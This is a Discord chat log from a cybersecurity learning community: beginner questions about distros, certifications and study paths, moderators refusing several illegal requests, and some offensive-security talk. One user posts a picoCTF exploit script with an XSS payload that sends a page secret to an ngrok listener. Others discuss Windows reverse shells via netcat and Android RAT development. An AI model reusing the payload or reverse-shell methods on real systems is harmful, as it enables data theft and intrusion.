[neat ravine]

Where would you recommend finding tools I normally look on places like GitHub but woried they may also contain viruses

[eternal oak]

how can I solve this error in i2p "CRIT [JettyStarter] outer.startup.RouterAppManager: Client Jetty [/home/gentoobtw/.i2p/eepsite/jetty.xml] START_FAILED "

I've tried setting up a debian vm and install i2p on there, same error

openjdk 25.0.2

I don't think it's anything related to cyber sec but this is the first server I could think of

[wet gate]

use open source software, and ideally stick to repos and projects that have many stars, contributors, etc etc

though there is always a risk of supply chain attack, its rare

[stoic wolf]

Can someone help me to flash kali Kernel on oneplus7 pro gm1913 ? I have tried many times but fail in bootloop … or recovery loop … oos10.0.2 have kimcoder Kali Kernel for oos 10 , twrp flash … but no finish result only loop or dumpcrash , sry for my English I’m German !

I want to have HID , injection … only with kali Kernel

[whole patio]

doing what?

[whole patio]

This isnt kali, it is nethunter.
The kali discord has a nethunter section, the kali forum has a nethunter section, and supported devices are shown on the kali website

[whole patio]

Software changes all the time, depenencies, kernels, and if something is not actively maintained it will fall off the wagon

[stoic wolf]

No but ist a kernel for nethunter for all functions, like HID-4 , wlan injection, monitor mode

[wanton cloak]

Is it possible to recover and loggin to a deleted gmail account? Or in some way shape or form read the messages?

[wet gate]

contact gmail for support, nobody here can help with that

[wet shoal]

What distro is best for vibe coding, learning on THM and overall learning?

[wet gate]

kali linux

[wet shoal]

lightweight

and customisable

[wet gate]

mint

[wet shoal]

what about arch or gentoo

[wet gate]

arch u will probably break and is unnecessary for overall learning and THM

gentoo thats up to you

bars

[wet shoal]

Ehat if I install something like omarchy?

[wet gate]

why r u so finicky on an OS lmfao

just pick one all ur doing is ibe coding and THM lol

u could do that on windows with a linux VM

[wet shoal]

Im picky

[wet gate]

then u should do ur own research on operating systems

and pick yourself

[wet shoal]

What distro supports Visual Stusio?

[wet gate]

because clearly nobody can pick for you

[wet gate]

Ubuntu does

[wet shoal]

Ubuntu I don’t like

[torpid jungle]

What’s your criteria for choosing a distro?

[wet shoal]

Vibe code with Claude, learn on THM(Pentester, Threat Intelligence) and learn more about Linux

[wet gate]

its funny because his criteria matches literally every single linux distro and also windows

u can do all 3 of those things on like 90% of linux distros

[torpid jungle]

What are your objections to Ubuntu?

[wet gate]

and windows now has WSL

lol

[wet shoal]

Yeah but I want to be in Linux not just like do it from an CLI

[wet shoal]

I’ll just do gentoo

[wet gate]

sounds good

[torpid jungle]

Gentoo is a solid choice 👍🏽

And you will definitely learn about Linux if something breaks there, lol

[icy cedar]

hi ...hope u all are doing wel ....i am doing ping topic in computer networking....how deep should i study thi s topic...how much should i do it?

[rose trench]

you dont need to go insanely deep but you should understand ping well enough to actually use it

[icy cedar]

i have done it but i donno is it enough or not

[rose trench]

Do you know how ping works do you know to Sends ICMP Echo Request
Receives ICMP Echo Reply do you know basic commands and do you understand the RTT and TTL

@icy cedar you shold know this unless you are pursuing a networking career then you have to go depper in to it

[whole patio]

Thats one of the things, that is easily remedied once you encounter a situation and say to yourself.. damn.. i really should know more about "ping".
Its not like you burn your "ping"-school books at some point.. you can (and will) always run into situation where you either have to refresh your memory or look documentation up

[icy cedar]

yea i know all of em

[real helm]

where can i get a testing website

[icy cedar]

so for now i need a helo hi with it

[rose trench]

if you want to go deeper than you need wireshark analysis tools like: tracerouter tcpdump and know the differences between IPv4 vs IPv6 ping

[fluid gulch]

We do not help with this. Read #📜・rules

[whole patio]

a what now?

[real helm]

yo does someone know where to get a test website

like a false website

that no one uses

[icy cedar]

a hello hi...

[whole patio]

alright..

[real helm]

goofy boy

[rose trench]

what are you trying to do

[real helm]

i want to test things out

[rose trench]

make a safe vm and you need to set up one sever and one client

[real helm]

but when i want to setup a vm at the end it says something about a folder

i dont know what to do there

its like the final part of setting it up

[rose trench]

idk watch a video and follow the steps

[rose trench]

you need 2 vm

[real helm]

i already have one vm

for kali

[rose trench]

set up a server simple web server and I wolud recomend to use on a windows machine

[real helm]

how do i do that

setting up a server

[rose trench]

do you know how to set one up with python

[real helm]

no

[frank schooner]

haaaiiii who has exp with instagram maybeee 🩷 hmu

[rose trench]

follow networck chuck linux for buginers in one of them he shows you how to do it then you will have a better understaning

[real helm]

appreciate the help

[rose trench]

no worries anytime

and dont worry its very easy to set it up with python

[real helm]

im new to this stuff

[rose trench]

its okej we all start somewere its importen to learn any chance you get

[real helm]

imma send u a friend request

[rose trench]

sure

[whole patio]

go to vulnhub website, download a vulnerable machine

vulnhub also has a guide on how to set up your lab environment, and precautions to take

[real helm]

is it safe

[whole patio]

is asking some random on discord reassuring?

[real helm]

hahaha

that was a good one

[whole patio]

https://vulnhub.com/resources/ see if someone here deletes the link in 48h .. if not, its probably safe ^^

[real helm]

appreciate it

[dusky pelican]

Fun fact: unix was released before windows

[white grail]

I'm finishing Google's cybersecurity course on Coursera. What do you guys recommend after completing it to continue improving my foundation skills?

[fair beacon]

Yeah now that i think about it

[wet gate]

tryhackme

[white grail]

Should I still learn the basics or start moving on to the red team? (that's what I'm interested in)

And do I follow what's in the guide in #👥・new-member-guide ?

[wet gate]

learn thebasics lol

[wet gate]

sure

do a few labs too, try and make things click

re-read labs/rooms if you dont understand them after completing it

[dusky pelican]

Dont be me. I tried hydra and evilwinrm without knowng what they do. Msfconsole too.

[whole patio]

how would you describe your current skill level.. lets say .. how long have you been actively learning cybersecurity now?

[whole patio]

oh yeah, learn basics

[dusky pelican]

Lmao definitely

[wet gate]

u wont be getting into red teaming at all until you actually have some experience as a pentester

[white grail]

I've been studying something related to computer science for a year now (I will continue and specialize in cybersecurity), but I started seriously studying cybersecurity about 3 months ago.

[whole patio]

give it more time.. something in the ball park of 5-10 years perhaps

for red teaming, that is

[white grail]

I was saying that I wanted to focus on the offensive side of penetration testing and all that, I guess I explained myself bad.

[dusky pelican]

That's why i just do mine with vms. Seeing if i can break into em, break em scripting and seeing if i can do anything..

The learning stuff i might get to that

Later

[whole patio]

Well the important part is - you have time. Pentesting is not an entry level field.. arguably cyber security is not an entry level field.
Red teaming is something that comes within reach once you have ample work experience in both of them

And it is really not something everyone is able to reach

[dusky pelican]

Oh yeah, true.. man😪 thats going take a while

[whole patio]

focus on your immediate situation.. life has ways of making plans for us regardless

[white grail]

Thanks for the advice, there's still a long way to go.

[stoic wolf]

https://hackyourmom.com/en/kibervijna/chastyna-3-yak-vstanovyty-kali-nethunter-na-rutovanyj-oneplus-7-pro/

[whole patio]

No idea why you post that to me

[stoic wolf]

Why u said it’s not kali it’s kali nethunter…. But I want ja kali Kernel that’s give me more permission and functions

For kali nethunter

Like hid -4 and awus driver

[stoic wolf]

Look

No idea ?

[sour sleet]

https://www.kali.org/docs/nethunter/

[stoic wolf]

I try this

[sour sleet]

and?

[marble trail]

Good evening, for a long time i’ve been trying to get a less expensive ways to get Xbox Ultimate subscription . Sadly I didn’t find any 😂, so my question is simple, is there any ways to do that or not?

[weary hawk]

Hi, Can someone help me with Bloodhound? It keep saying wrong cred's when i try the default which as far as i know is neo4j for both, Also tryied admin admin...How can i check what is the creds or change them...

[wet gate]

The default username is neo4j and the password is the DB password picked earlier

https://happycamper84.medium.com/howto-setup-bloodhound-map-ad-44c7149ba28b

tutorial

[whole patio]

It is not kali, it is based on kali. It has separate devices, separate installations, separate support channels.

If you expect it to work "just like kali" you will be disappointed. Instead, call it was it is, nethunter

or kali nethunter, doesnt matter. Point is, it is not the same

[stoic wolf]

Ok

[whole patio]

it is a forum, it is not meant to be "looked at", it is meant to be used, if you have a question

[stoic wolf]

I do it when I’m home

[weary hawk]

There is a file or something to reset or see inside the file the neo4j database creds?

[whole patio]

and no, I don't use nethunter. Only a small community does.. that is why I point to those specialized community platforms

[wet gate]

https://happycamper84.medium.com/howto-setup-bloodhound-map-ad-44c7149ba28b

tutorial

[stoic wolf]

Oh ok

[whole patio]

Even inside those communities people wait sometimes for days for a reply 😉

but the developers are there, and a small group of engaged volunteers

[woeful basalt]

I am new to cybersecurity and hacking what should I do can I go for security+ certificate like I am complete beginner

[wet gate]

#👥・new-member-guide

https://tryhackme.com/hacktivities

[woeful basalt]

What

[wet gate]

https://github.com/ajfuto/comptia-security-plus

https://github.com/aaronshaf/security-plus

https://github.com/PacktPublishing/CompTIA-Security-SY0-501-Complete-Course-and-Practice-Exam/blob/master/CompTIA Security%2B (Study Notes).pdf

https://github.com/PacktPublishing/CompTIA-Security-SY0-701-Full-Training-Guide
https://github.com/MaheshShukla1/CompTIA-Security-Plus-SY0-701-Notes-CheatSheet-Exam-Prep

[wet gate]

"new to cybersecurity"

i linked you the channel to the #👥・new-member-guide , it is a guide for new people
also linked tryhackme's roadmap

[wet gate]

also check out all of these resources for exam prep, study guides, cheatsheets, and other resources

[woeful basalt]

Appreciate it bro

[real helm]

@wet gate how do i connect to the machine at tryhackme

i dont know how to start

[wet gate]

https://www.youtube.com/watch?v=TO_5gObqXeA

[real helm]

thanks

[stray hull]

Hi guys i'm new to hacking and i wanna know the password for an ig account that i lost a while ago

[whole patio]

Lets cut this short, alright?

[stray hull]

Alr

[whole patio]

Contact instagram support. If they cannot help you, no one here will

[stray hull]

Ok

Ty

I'ma try too

[eager mantle]

Hi everyone i have a ctf i have been doing, which requires some skills in exploit development, can anyone help.

[whole patio]

if you have specific problems, best to ask a specific question.

[eager mantle]

I am struggling to connect the vulnerable server to my webhook url created using ngrok, i can't get the request that carries the payload to go through\

[wet gate]

elaborate on any error you get/what you already tried/what you previously tried/what CTF it is/etc etc etc

nobody can help you without specific information

[eager mantle]

it is a pico ctf challenge called "paper-2", lemme drop the python file, i think will explain my idea more

  import urllib.parse

  # 1. Setup
  CHALLENGE_URL = "https://lonely-island.picoctf.net:58734"
  # Your public ngrok address
  MY_LISTENER = "https://ellamae-subflexuose-emmitt.ngrok-free.dev"

  # 2. Build the JavaScript Payload
  # We use an Image object because it often bypasses simple Content Security     Policies (CSP)
  js_code = f"new Image().src='{MY_LISTENER}/?      stolen='+document.body.getAttribute('secret')"
  xss_payload = f"<script>{js_code}</script>"

  # 3. URL Encode the payload
  # This turns '<' into '%3C', etc., so the server accepts it as a parameter
  encoded_payload = urllib.parse.quote(xss_payload)

  # 4. Construct the Full Exploit URL
  exploit_url = f"{CHALLENGE_URL}/secret?payload={encoded_payload}"

  log.info(f"Generated Exploit URL: {exploit_url}")

  
  print(f"\n[!] SUBMIT THIS TO THE ADMIN BOT:\n{exploit_url}")

  def fast_claim(stolen_secret):
    r = remote('lonely-island.picoctf.net', 57059, ssl=True)
    
    http_request = (
        f"GET /flag?secret={stolen_secret} HTTP/1.1\r\n"
        f"Host: lonely-island.picoctf.net\r\n"
        "Connection: close\r\n\r\n"
    )
    
    r.send(http_request.encode())
    response = r.recvall().decode()
    
    if "picoCTF" in response:
        log.success(f"FLAG FOUND: {response.splitlines()[-1]}") ```

[wet gate]

is it required in the CTF to connect back to your ngrok tunnel?

[eager mantle]

no, it is just my way of getting the flag, by exposing a listener for the reponse

import urllib.parse

class Listener(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"\n[!] RECEIVED REEQUEST: {self.path}")
        query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
        if 'stolen' in query:
            print(f"FOUND SECRET: {query['stolen'][0]}")

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"caught it!")

print("[+] Server is listening on localhost: ")
HTTPServer(('127.0.0.1', 80), Listener).serve_forever()```

[prime mica]

Likewise

[eager mantle]

I was assuming the logs on my ngrok server requests and responses would be logged and appear on my localhost, so that i can get to the flag or just a response from the vulnerable server

[tepid island]

Pls am new here. I have passion for computer and hacking stuffs . where can I start from

[wet gate]

https://www.youtube.com/watch?v=J9T90s9tT1U

@slow edge ban this guy

[wet gate]

#👥・new-member-guide

[tepid island]

Thanks

[eager mantle]

thanks, i had come across the video but assumed it

[dense fable]

Yo

[teal spoke]

So i am trying to learn actual ethical hacking but idk where to start and i keep losing motivation

[limpid musk]

Guys is ccna made to learn networking or is it another thing?

[whole patio]

Start here #👥・new-member-guide

[tacit fjord]

CCNA is certification of Cisco

And it is related to network, yes

You can learn a lot of good stuffs from that

Or you can learn from comptia network+ resources

[limpid musk]

But networking I mean I watched one ccna videos when I started learning networking about router switches lan and server client it was good just wanna know if it will help me learn networking cuz I think it's the best way to learn networking long courses

[teal spoke]

Ok, thanks

[tacit fjord]

It will help you, yes

Don't learn it with only youtube videos

Read books

[limpid musk]

I'm trying out in tryhackme

[gritty shell]

I'm also interested in learning networking. I'm starting from almost nothing, but I want a solid grounding in networking. Which books do you recommend?

[tacit fjord]

Practice

[tacit fjord]

Nah

[limpid musk]

Already watched almost every basic networking videos

[tacit fjord]

Tryhackme is not good resource I think

It is good for entry-level but not that much

[tacit fjord]

I can't as I haven't read any

[gritty shell]

Oh, lol. Fair enough.

[muted girder]

Yes, it will help you learn networking. Take notes, watch videos, practice active recall instead of just writing down what you read/hear.

[tacit fjord]

I had good teacher for it

But i have to read anyway

So I will recall you when I find one

[limpid musk]

I want to start learning with teacher but they are learning everything so slowly

[tacit fjord]

Probably i will choose network+ books

[tacit fjord]

Because it is networking

You have to understand it

[limpid musk]

Yeah but I mean like they be learning what is lan for a week

[tacit fjord]

Not just read or take notes

[muted girder]

I really enjoyed Network+. It definitely helps with getting your foot in the door. I almost started to enjoy networking lol

[whole patio]

Well so are students

[teal spoke]

Networking can be hard but also ease, depends on what you are learning. ALWAYS TAKE NOTES or you will forget allot

[tacit fjord]

My teacher thought networking in 2 months, yeah it is not enough but I have good foundation

[tacit fjord]

Take notes and read them

[tacit fjord]

Don't enjoy it

Never

[limpid musk]

Is it easy? I mean I asked ai to ask me questions like network+ I got almost all of them right but I mean it's ai it was wrong I think cuz they were so easy

[tacit fjord]

You don't have to learn networking deeply

[muted girder]

I will always enjoy something else a tiny bit more than I will ever enjoy networking 😂

[tacit fjord]

Reasonable

[tacit fjord]

What do you want to be

[muted girder]

The labs were hit or miss for difficulty. The questions were pretty alright and not as bad. As long as you study to learn and not just to memorize answers for practice quizzes you will be fine.

[tacit fjord]

Network engineer?

[whole patio]

Totally normal 😉

[tacit fjord]

Or red teamer

Or blue

[limpid musk]

.

[tacit fjord]

So you don't have to learn network deeply for starting

Basic understanding of OSI, TCP, IP, Protocols, IP headers is enough

[limpid musk]

I think I need more than that 😂

[tacit fjord]

Then you will understand other things slowly

[tacit fjord]

I am almost Jr web ptester and you don't

[tacit fjord]

I don't have job so I have to write "almost" 😓

Actually you can finish cyber 101 path from thm

It will teach u some basics

[limpid musk]

Oh I guess in OSI you mean arp nat and things like that too right?

What about dns

[tacit fjord]

I can't give u exact good path cuz I have finished good (the best in my country) 6 months course so I didn't follow my own path

[tacit fjord]

OSI layers

[muted girder]

The OSI model

[tacit fjord]

Layer 1 to layer 7

[limpid musk]

Yeah but you can learn OSI in only like 8-9 hours

[tacit fjord]

You can read

You can watch

But you can't understand

[limpid musk]

Bro how could I not understand I understand it really well

[muted girder]

Please Do Not Throw Sausage Pizza Away 🗿 🔥

[tacit fjord]

When you can not explain it to non tech people

[muted girder]

The best advice lowkey

[tacit fjord]

And this is really true

[limpid musk]

You can start from layers one by one and explain it simply to them so they will learn better at home

[tacit fjord]

I didn't mean it

It is not to teach them

It is for urself

Just take one friend and try to explain network things

[limpid musk]

I did

[tacit fjord]

Prepare papers

[limpid musk]

I already explained OSI model

[tacit fjord]

With a lot of networking terms

[tacit fjord]

Then start to explain them but not to urself

[robust talon]

Hi

[tacit fjord]

Hi

[muted girder]

@limpid musk If you are able to explain the OSI model to someone else in a way that someone that doesn’t care about you or your interests can understand, you’ve got it. You’ll know once you start explaining things in terms of city blocks, nascar, countertop space, and so on lol

[limpid musk]

I really wasn't any good in anything didn't cared about anything it's the only thing I know that people not good with computers don't it actually makes me happy to explain things like that

[robust talon]

How's it going

[tacit fjord]

Don't care just explain

If you want to learn you have to try every possible way

[limpid musk]

What?

[tacit fjord]

I mean you don't have to care their reacts

[limpid musk]

Bro you can make person to understand OSI model really easly I mean it's one of the basic of networking

[limpid musk]

I'm talking about my friend not some random dude

[tacit fjord]

It is not about only OSI dude

There are a lot of terms

Firewall, dns, dhcp, IP, icmp, ft, smtp...

[tacit fjord]

Find friend to listen it or just use ai for it

Say act as a non tech person and your opinions and start to explain

[limpid musk]

I know everything from there

Only icmp doesn't comes in mi d

Mind

[tacit fjord]

So what do you want

To be an IP payload?

[limpid musk]

I don't know that 😂

I just wanna know when am I supposed to go for network+

[tacit fjord]

I thought like you at the beginning of everything

But then I realized that I don't have to know all simple details

Just important things are enough

[limpid musk]

Alright so learn for like a month more than go for network+?

[tacit fjord]

To get cert or only learning?

[tacit fjord]

Do u want to take cert?

[limpid musk]

I'm learning for red team but i think cert also would help me out

[tacit fjord]

It depends on ur country ecosystem

But i wouldn't take it

I have pentest+

Well I didn't pay for it

It is not important to get network+ for red teamer

[limpid musk]

How long have you been learning

[tacit fjord]

Htb certs are good, offsec certs but it is too early for u

[tacit fjord]

Like professional 1 year

For entertainment 4 or 5

[tacit fjord]

But it was for entertainment

I didn't know even what am I doing

Or what is kali

[limpid musk]

Alr so your good when am I supposed to move on tools basic ones like nmap Wireshark and things like that

[tacit fjord]

I think

[limpid musk]

I havent really touched anything other than networking yet

Linux commands only

[tacit fjord]

After learning linux basics, windows basics, AD basics and intro to cybersec

You have to know about some terms in cybersec

So you should learn boring things before to go on with tools

And you don't have to know everything about AD as well

Just understanding and some simple tasks

Powershell, bash, python

[tacit fjord]

You must be able to understand scripts with these

But you don't have to know powershell a lot

You will find ur own way slowly

Just go on

Don't stop

[limpid musk]

Bro thanks a lot you helped me out really good appreciate it

[tacit fjord]

Not at all

When you need, you can ask me

[limpid musk]

Thanks so one more thing should I move on to python or keep learning about networking yet

[tacit fjord]

If you have enough time you can play with python

[limpid musk]

I got all the time I need 😂 I learn min 5 hour a day

[tacit fjord]

Learn intro to cybersec first

[limpid musk]

Alright thanks

[tacit fjord]

Good, keep it up

[gritty shell]

What's the go-to resource for learning the OSI model? I touched on it years ago but I remember like one layer 😂 I definitely need a proper refresher.

[tacit fjord]

Check HTB or THM for OSI layers

[limpid musk]

In try hack me is good explained OSI model after that you can watch few videos with good explanation and your gonna be good

[gritty shell]

👍 Thanks :) I might try getting into HTB, at least to learn OSI. I think it's beyond my skill level tbh, but guess that just means I gotta struggle until I understand 😂

[neat plume]

Hello community just got out of high school and thinking of doing software engineering, any advice you could give to me and also any platform recommendations for beginner programmers

[sour sleet]

Check out these useful channels:
#💕・free-resources
#👥・new-member-guide
#📜・certs-and-career

Programming:

• Tools/Automation: Python, Ruby, Go (sololearn, codedex, freecodecamp, etc)
• Web exploitation: JavaScript, PHP, ASPX, SQL (portswigger)
• Binary Exploitation: C, C++, Assembly, Rust (pwn college)
  Learn any or all above langs as per requirement

Networking: netacad is good platform (THM and HTB Academy)
OSes: Windows (especially powershell), Linux (especially bash)
After covering fundamentals: Tryhackme, Hackthebox, similar platforms for hands on
Most important: Mindset with Insanity
Ebooks to read for cybersecurity:

Cybersecurity centric books:

• https://security-books.notion.site/

mabe by 乙3尺0 𖠆

[neat plume]

Much appreciated 😁

[teal spoke]

Hello

[sour sleet]

hello welcome friend ^^ you got a question?

[teal spoke]

No, just here to say hello

I was planning on making a "ghost laptop" but thats already done

[sour sleet]

oh ok ^^ well most of us are in #💬・old-gen-chat why dont you join us ^^

[teal spoke]

Already am

In #💬・old-gen-chat

[crystal pagoda]

heyy...am new in gaming tech ...i mean too new..nd I want to setup my own business in tech field...am underage just doing some research how can I get to learn about developing games

[sour sleet]

there are a bunch of good yt channels id recommend looking at some of then especially the ones made by offical gamew engine dev like unity they have whole project for first time game devs from 0 to your first game

[teal spoke]

You can follow YT tutorials or/and learn coding and blender

[crystal pagoda]

umm which channels?

[teal spoke]

What engine are you using

Game developing engine

[crystal pagoda]

as I said..I'm too new..I dunno anything

[sour sleet]

most popular once are probably unity and unreal depending on your coding skills you could also start with game maker

[teal spoke]

I think i would start with unity, it has a big interface but when you start actually learning and put time into it then it will be easy

[crystal pagoda]

thnk uh

[teal spoke]

And on YT you can search "beginner unity tutorial" for the bare basics but i would also learn basic blender and C#

[crystal pagoda]

any language which is specific?....i know java, c, nd umm python

[teal spoke]

Unity uses C# if i remember, let me check

[crystal pagoda]

ohkk

[teal spoke]

Yeah, C# but you can compare it with C but i would try to learn as much C# as possible since it will help later on knowing allot when you want to add difficult mechanics to you're game

[crystal pagoda]

ohk...I appreciate ur help

[teal spoke]

No problem

[brittle venture]

is there anyone here who is a very strong red teamer?

[teal spoke]

Can i ask why?

[brittle venture]

I just wanna be a good hacker, someone who can develop fast by following a good red team map

instead of going into wrong roads and wasting time

[teal spoke]

First go for the bare basics

You can follow YT tutorials

[amber mortar]

Hi ALL @pulsar jetty he is scam he stole my money so please dont deal with him he is a fraud

[narrow rivet]

you belived a guy called george what did you expect 💔

[amber mortar]

My mistake because i needed something urgently

i did a mistake

and i dont want people to fall into the same thing

[wet gate]

https://tryhackme.com/hacktivities

follow the red team path

obviously learn basics and fundamentals beforehand

[brittle venture]

i finished it and it was awful ngl XF

xd

[wet gate]

did u do the networks

[brittle venture]

i did

i did networking, cyber security 101

red team path

on thm

[wet gate]

no

the networks

the actual CTF networks

[brittle venture]

even studied network with network chucks

[wet gate]

ok so u havent done them

do them

also actually do the full premium red team path

then you can also check out these resources:

https://github.com/0xMrNiko/Awesome-Red-Teaming

https://github.com/yeyintminthuhtut/Awesome-Red-Teaming

https://github.com/JoasASantos/Awesome-Red-Team-Operations
https://hacktricks.wiki/en/index.html

https://0x1.gitlab.io/pentesting/Red-Teaming-Toolkit/

[chilly merlin]

Good day

Can anyone help me how to hack wifi router

[summer marsh]

no

[chilly merlin]

Why then I thought you learn these things here

[summer marsh]

#📜・rules

[rancid needle]

@chilly merlin Message me please

[fathom summit]

Why? For what?

[fathom summit]

We dont know if it is your own personal property or someone's else. You can do independent research and find out for yourself.

[twilit notch]

how to join the touch grass channel? I dont have permission

[wet gate]

level up to level 10

will probably take you multiple days of talking in #💬・old-gen-chat unfortunately

leveling system has been changed and new users are extremely limited with what chats and voice chats they can join

[muted vine]

What study material is best when studying for cySA+?

[whole patio]

This right here is the time wasting part. Everyone who believes there are corners to cut, shortcuts, optimized walkthroughs to get into red teaming does not understand that it is that broad, indepth knowledge that comes with real world experience in various areas, that's important

[vocal cosmos]

Hey
Most beginner OSINT tools feel limited and surface level. In real investigations, what advanced tools, frameworks, or methodologies do professionals rely on for deep intelligence gathering?

[latent pine]

Good morning very one, if it’s possible can someone help me to figure out on how to get access to my Uncle’s trust Wallet cos before he died he told me to try and find it so that I can get access to it, cos he has forgotten the details to the Wallet and i was only able to get the view only access and now I can’t figure out how to get the real account so that I can make the withdrawal, and if anyone can help me pls you can DM me and ask my more questions regarding this

And I have proof of everything

[elder cairn]

Hello can some one help me on were i can get usa ssn fullz

[cunning cove]

hey can someone suggest me some free reverse engineering videos

[grand frost]

Hi, I got kinda scammed but I know a lot of personal details about the scammer including bank info.

Can someone please help me with getting my money back? A suitable reward will be given.

[royal lotus]

Hey please can someone help me how to get a US/UK number 🙏🏽

[sacred nacelle]

Hey would y'all recommend any programing languages to learn like I know python is a big one but like is there any other important ones to learn

[wet gate]

https://www.youtube.com/watch?v=RnL5HQfq4Ik

https://www.youtube.com/watch?v=4-7zcq5-cNA

https://github.com/wtsxDev/reverse-engineering

https://malwareunicorn.org/workshops/re101.html#0

[wet gate]

juicysms

[wet gate]

C

[wet gate]

no, not here, go back to telegram clown

[kindred anchor]

What are the chances of succesfully rooting my Galaxy S7?

[wet gate]

like 100%

such an old phone

[umbral stump]

Learn C and Shell Scripting.

[kindred anchor]

Yeah.
The last copy of it was made at 2017 💀

[umbral stump]

C will help you understand memory, OS, CPU, etc.

Very useful

[kindred anchor]

Bash or powershell?

[umbral stump]

Both

But prioritise bash

[sacred nacelle]

Yea I've herd a bit to larn c and bash and powershrll scripting what is c used for and is shell scripting just used to automate and if so what exactly?

[wet gate]

shell scripting can be used to create programs and also automate things

there is no "if so what exactly", you can write a bash script to automate pretty much anything you want

C is a low level programming language, you write code in it, compile the code to a binary, then you can execute said binary and see your code executed

for example:

#include <stdio.h>

int main() {
    printf("Hello, World!\n");
    return 0;
}```

this is C code to print "Hello, World!" to the terminal
once you create a new "hello.c" file (or whatever you want to call it), and put this code in there and save it, you can then compile it with ```bash
gcc hello.c -o hello

you can then run the "hello" program with ```bash
chmod +x hello # (if the program doesnt have execute permissions)
./hello # (this will run the program)

(the output of running ./hello should print "Hello, World!" to the terminal

[sacred nacelle]

Okay thanks so c just good to know because its a low level language is it then worth to learn x86 or not really

[whole patio]

Obviously not #📜・rules

[whole patio]

also no #📜・rules

[wet gate]

fix your authentication, you need a Sender Policy Framework, DomainKeys Identified Mail, Domain-based Message Authentication, Reporting & Conformance. Even if these pass, the domain must match your "From" addresss, or you will still hit spam

your sending IP must also have PTR (reverse DNS) pointing to your mail hostname

that hostname must also resolve back to the sending IP

furthermore, your sending IP reputation is probably the main problem, if you are self hosting and have bought this mailserver/VPS recently, new IP addresses with no history are untrusted, and if you share an IP range with spammers, then this can also bring your reputation down

you should also "warm-up" your domain and IP, start with low volume emails, send it to real inboxes, and encourage replies, opens, and moving from spam > inbox

if users ignore your emails, you go to spam

you should also make sure you have proper headers, Message-ID, Date, From needs to match your domain, with no malformed headers

if this all sounds like dark magic to you, then 1) you should probably learn more about email systems and mailservers, or 2) use a proper sending stack like Postfix or Exim with TLS enabled, or just consider not self-hosting, switch to SendGrid, Amazon SES, or Mailgun, these will give you pre-wared IPs, reputation management, and feedback

you're welcome

[narrow sierra]

https://tenor.com/view/wow-david-david-rose-dan-levy-schitts-creek-gif-15091392061436472813

[narrow sierra]

Top tier advice dropped, 👏

[fervent stump]

Best laptop for cybersec, pentest and cloud sec?

[bright sonnet]

Any general recommendations for Windows reverse shells. I am confident with linux reverse and bind, meterpreter and php web shell, but I would like some further guidance on Windows. The first case is the reverse through web shell. What would you suggest in terms of should I encode and base 64 it and submit as a powershell command or what? Need your ideas and examples

[wet gate]

any gaming laptop

[bold rock]

hi everyone iam sudesh from tamilnadu, Iam studiying java fullstack course in acte technologies before joining in this institute i was soo anticipated about placements drove nd job oppurtunities but while i sudyingthe 2nd month of the course the trainer told me a thing got me shiver all over my body it gave me chills that the placement drive nd job oppurtunity was somehow fake nd i don't know about that i'll send the link about the institute instagram.com/acte_technologies

Facebook
facebook.com/ACTE.in

Twitter
x.com/ACTEindia

LinkedIn
linkedin.com/company/16252292

Pinterest
in.pinterest.com/ACTE_TECHNOLOGIES_INDIA these are the link i took from the yt plz verifu this and help me i don't want to be umemployed!!!!!!!!!

[narrow sierra]

[narrow sierra]

https://uk.trustpilot.com/review/acte.in

"Absolute fake Institute. No proper coordinator and no proper trainers. I don't understand why they put fake reviews .they ve lot of courses but no trainers to take them. In fact there Institute in chennai has only sales people in office no trainers or students getting enrolled. They completely cheated telling they'll provide workday training and provided nothing.instead spending amount with fake Institute like them,u can go around spending to get training recognized Institutes. They have a good reputation nd will not give fake promises"

Bro, it looks like its an entire scam - did you research it before hand?

[latent pine]

why if i may ask

[bold rock]

no bro😞

[whole patio]

Because according to the #📜・rules we do not help with illegal activities, and your word that this one instance is totally legit holds no water here

[white grail]

Try hack me premium is worth it?

[bold rock]

bro iam doing final year bsc computer science this year is my final sem i really don't know what to do !!!

[bright sonnet]

Absolutely, especially if you get the annual during holidays

[bold rock]

am scared as HELL cuz i was borned in a brown family(typical asian parents)indian version🫠

[white grail]

I think that in going to pay it monthly with student discount, and if a i see a good deal in holidays pay the annual one

[bright sonnet]

It's a no brainer then if you go with student discount

Even better would be the HTB Academy

[white grail]

Its a no brainer to take the deal in holidays if i have the student discount?

[white grail]

Yes but for begginers is better try hack me no?

[wet gate]

yes

[bright sonnet]

Yes, but for sure would be better to learn from both, HTB with student is like 8 euros a month I think

Enjoy while you can, I have to buy Silver Annual)

For example, my current annual on THM cost me only 65 euros instead of the usual 126 euros. Why? Long time THM annual subscriber + plus resubscribed during promo + holidays I think. 65 euros is extremelly low for annual.

I would suggest to wait for some deals from them, they may randomly drop in a few months period

[dusky narwhal]

Hello am a new member of this platform is anyone I can add up to put me through

[whole patio]

right this way #👥・new-member-guide

[dusky narwhal]

Okay

[smoky forge]

Hi are there resources on android rat development? I can't find good ones on internet would someone be willing to help me

[wet gate]

do you know how to write in smali, kotlin, or java?

[smoky forge]

Right now I am trying to learn smali

[smoky forge]

I can't find much resources on these languages and rat development on the internet

[wet gate]

you shouldnt even be trying to learn malware dev techniques if you dont know how to write in the language in the first place

[wet gate]

good, continue with that until you are fluent in it, also learn Kotlin as that can help too

you cant write a malware or rat without knowing how to write regular code in the language in the first place

[smoky forge]

But the issue is I can't find much resources on Internet about these 2 languages I just want resources to learn these

[wet gate]

https://github.com/jstumpp/awesome-android

https://sallam.gitbook.io/sec-88/android-appsec/smali/smali-cheat-sheet

https://github.com/AbhiTheModder/understand-smali
https://www.codecademy.com/learn/learn-kotlin

https://payatu.com/blog/an-introduction-to-smali/

https://java-lang.github.io/awesome-java/
https://www.youtube.com/watch?v=blKkRoZPxLc

https://github.com/akullpp/awesome-java

https://github.com/Heapy/awesome-kotlin
https://github.com/mcxiaoke/awesome-kotlin

https://developer.android.com/courses/android-development-with-kotlin/course

[wet gate]

kotlin and java are the main languages you want to learn, i forgot smali is essentially a assembly-like language, learn Java and Kotlin first

[bright sonnet]

I figured it out with uploading a netcat / socat binary and then doing a reverse shell through them into cmd. Now what about directly to powershell?

[wet gate]

sure, go ahead

if u can get a powershell process to run after cmd then u can run more commands through that

or drop another shell through powershell commands

[bright sonnet]

But what about directly achieving shell through powershell and not through cmd? I have the reverse shell for powershell that would work inside cmd / powershell I already have access to or through rdp, but it doesn’t wanna work through web shell and cmd command

